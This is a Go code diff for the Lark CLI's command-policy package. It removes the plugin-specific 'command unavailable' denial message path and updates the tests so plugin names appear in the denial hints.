@@ -334,7 +332,7 @@ func TestBuildDeniedByPath_aggregatesAnnotatedPureGroup(t *testing.T) {
 
 	e := cmdpolicy.New(&platform.Rule{MaxRisk: "read"})
 	decisions := e.EvaluateAll(root)
-	denied := cmdpolicy.BuildDeniedByPath(root, decisions, cmdpolicy.ResolveSource{Kind: cmdpolicy.SourceYAML}, "", "")
+	denied := cmdpolicy.BuildDeniedByPath(root, decisions, cmdpolicy.ResolveSource{Kind: cmdpolicy.SourceYAML}, "")
 
 	if _, ok := denied["drive"]; !ok {
 		t.Fatalf("aggregator must install drive denial when all children denied; map=%+v", denied)

internal/cmdpolicy/apply.go

@@ -4,8 +4,6 @@
 package cmdpolicy
 
 import (
-	"strings"
-
 	"github.com/spf13/cobra"
 
 	"github.com/larksuite/cli/errs"
@@ -75,10 +73,6 @@ const (
 	AnnotationDenialLayer  = "lark:policy_denied_layer"
 	AnnotationDenialSource = "lark:policy_denied_source"
 
-	// AnnotationDenialMessage carries the resolved unavailable message
-	// for the cmd layer's help interceptor (plugin-source denials only).
-	AnnotationDenialMessage = "lark:policy_denied_message"
-
 	// AnnotationPureGroup marks a cobra.Command that is logically a
 	// parent-only group but had a RunE attached by the bootstrap-time
 	// unknown-subcommand guard. The engine treats annotated commands
@@ -130,37 +124,6 @@ func BuildDenialError(path string, d Denial) *errs.ValidationError {
 		WithCause(cd)
 }
 
-// IsPluginPolicySource reports whether a policy source names a plugin.
-// Plugin sources select the "command unavailable" presentation.
-func IsPluginPolicySource(source string) bool {
-	return strings.HasPrefix(source, "plugin:")
-}
-
-// DefaultUnavailableMessage is the message shown when a plugin-restricted
-// command is invoked and the integrator supplied no Rule.DeniedMessage.
-const DefaultUnavailableMessage = "command not included in this build"
-
-// messageOf resolves the effective unavailable message for a denial.
-func messageOf(d Denial) string {
-	if d.DeniedMessage != "" {
-		return d.DeniedMessage
-	}
-	return DefaultUnavailableMessage
-}
-
-// BuildUnavailableError is the plugin-source counterpart of
-// BuildDenialError: no hint, no policy vocabulary on the wire. The
-// *platform.CommandDeniedError stays reachable as the Cause for
-// in-process consumers; Cause is never serialized.
-func BuildUnavailableError(path string, d Denial) *errs.ValidationError {
-	msg := d.DeniedMessage
-	if msg == "" {
-		msg = DefaultUnavailableMessage
-	}
-	return errs.NewValidationError(errs.SubtypeCommandUnavailable, "%s", msg).
-		WithCause(CommandDeniedFromDenial(path, d))
-}
-
 // installDenyStub mutates a cobra.Command in place. Unlike cmd/prune.go
 // which does RemoveCommand+AddCommand (changing the pointer), we modify
 // the existing node so any external reference (snapshots, alias targets)
@@ -231,19 +194,11 @@ func installDenyStub(cmd *cobra.Command, path string, d Denial) bool {
 	cmd.Annotations[AnnotationDenialSource] = d.PolicySource
 
 	denial := d // capture by value for the closure
-	if IsPluginPolicySource(d.PolicySource) {
-		// The message annotation feeds the cmd layer's help interceptor.
-		cmd.Annotations[AnnotationDenialMessage] = messageOf(d)
-		cmd.RunE = func(c *cobra.Command, args []string) error {
-			return BuildUnavailableError(path, denial)
-		}
-	} else {
-		cmd.RunE = func(c *cobra.Command, args []string) error {
-			// The typed message carries the user-facing semantic ("a command
-			// was denied"); the hint carries the layer / source / rule
-			// distinction ("policy" vs "strict_mode") for debugging.
-			return BuildDenialError(path, denial)
-		}
+	cmd.RunE = func(c *cobra.Command, args []string) error {
+		// The typed message carries the user-facing semantic ("a command
+		// was denied"); the hint carries the layer / source / rule
+		// distinction ("policy" vs "strict_mode") for debugging.
+		return BuildDenialError(path, denial)
 	}
 	// Clear any pre-existing Run hook: cobra prefers RunE when both are
 	// set, but leaving a stale Run around is a foot-gun for future

internal/cmdpolicy/denial.go

@@ -25,10 +25,6 @@ type Denial struct {
 	RuleName     string // matched Rule.Name (if any)
 	ReasonCode   string // closed enum, see docs/extension/reason-codes.md
 	Reason       string // human-readable
-
-	// DeniedMessage is Rule.DeniedMessage for the plugin-source
-	// unavailable presentation; empty means the default message.
-	DeniedMessage string
 }
 
 // ChildDenial is what AggregateChildren consumes — it pairs a Denial

internal/cmdpolicy/diagnostic.go

@@ -27,15 +27,3 @@ var diagnosticPaths = map[string]bool{
 func IsDiagnosticPath(path string) bool {
 	return diagnosticPaths[path]
 }
-
-// DiagnosticPaths returns the exempt self-inspection command paths, for
-// the presentation layer: an integrator's HideDiagnostics retires exactly
-// this set, and the help-concealment pass hides it from listings when the
-// surrounding domain is plugin-denied.
-func DiagnosticPaths() []string {
-	out := make([]string, 0, len(diagnosticPaths))
-	for p := range diagnosticPaths {
-		out = append(out, p)
-	}
-	return out
-}

internal/cmdpolicy/engine.go

@@ -269,9 +269,8 @@ func mergeDenials(rules []*platform.Rule, denials []Decision) Decision {
 // so `--help` and similar remain available.
 //
 // source / ruleName populate PolicySource and RuleName on the produced
-// Denial values, so envelope output can attribute denials. deniedMessage
-// is build-level and applies uniformly, aggregates included.
-func BuildDeniedByPath(root *cobra.Command, decisions map[string]Decision, source ResolveSource, ruleName string, deniedMessage string) map[string]Denial {
+// Denial values, so envelope output can attribute denials.
+func BuildDeniedByPath(root *cobra.Command, decisions map[string]Decision, source ResolveSource, ruleName string) map[string]Denial {
 	out := map[string]Denial{}
 
 	sourceLabel := policySourceLabel(source)
@@ -288,13 +287,6 @@ func BuildDeniedByPath(root *cobra.Command, decisions map[string]Decision, sourc
 	}
 
 	aggregateParents(root, out)
-
-	if deniedMessage != "" {
-		for path, d := range out {
-			d.DeniedMessage = deniedMessage
-			out[path] = d
-		}
-	}
 	return out
 }
 

internal/cmdpolicy/source_label_test.go

@@ -34,7 +34,7 @@ func TestEnvelope_yamlPolicySourceDoesNotLeakHomePath(t *testing.T) {
 		cmdpolicy.ResolveSource{
 			Kind: cmdpolicy.SourceYAML,
 			Name: "/Users/alice/.lark-cli/policy.yml", // simulate an absolute path
-		}, "my-readonly-rule", "")
+		}, "my-readonly-rule")
 
 	cmdpolicy.Apply(root, denied)
 	err := leaf.RunE(leaf, nil)
@@ -77,7 +77,7 @@ func TestEnvelope_pluginPolicySourceCarriesName(t *testing.T) {
 	})
 	denied := cmdpolicy.BuildDeniedByPath(root, e.EvaluateAll(root),
 		cmdpolicy.ResolveSource{Kind: cmdpolicy.SourcePlugin, Name: "secaudit"},
-		"secaudit-policy", "")
+		"secaudit-policy")
 	cmdpolicy.Apply(root, denied)
 
 	err := leaf.RunE(leaf, nil)
@@ -85,17 +85,10 @@ func TestEnvelope_pluginPolicySourceCarriesName(t *testing.T) {
 	if !errors.As(err, &ve) {
 		t.Fatalf("expected *errs.ValidationError, got %T", err)
 	}
-	// A plugin-source denial presents as absent: no hint, no plugin name
-	// on the wire. Plugin attribution moves to the in-process Cause
-	// (*platform.CommandDeniedError) for integrators debugging a denial.
-	if ve.Subtype != errs.SubtypeCommandUnavailable {
-		t.Errorf("subtype = %q, want %q", ve.Subtype, errs.SubtypeCommandUnavailable)
-	}
-	if ve.Hint != "" || strings.Contains(ve.Message, "plugin:secaudit") {
-		t.Errorf("wire must not expose the plugin source; hint=%q message=%q", ve.Hint, ve.Message)
-	}
-	var cd *platform.CommandDeniedError
-	if !errors.As(err, &cd) || cd.PolicySource != "plugin:secaudit" {
-		t.Errorf("in-process Cause must carry plugin:secaudit, got %+v", cd)
+	// The plugin name IS surfaced (in-binary, part of the contract): it
+	// must appear in the Hint so an integrator debugging a denial knows
+	// which plugin fired.
+	if !strings.Contains(ve.Hint, "plugin:secaudit") {
+		t.Errorf("hint must carry policy_source plugin:secaudit, got %q", ve.Hint)
 	}
 }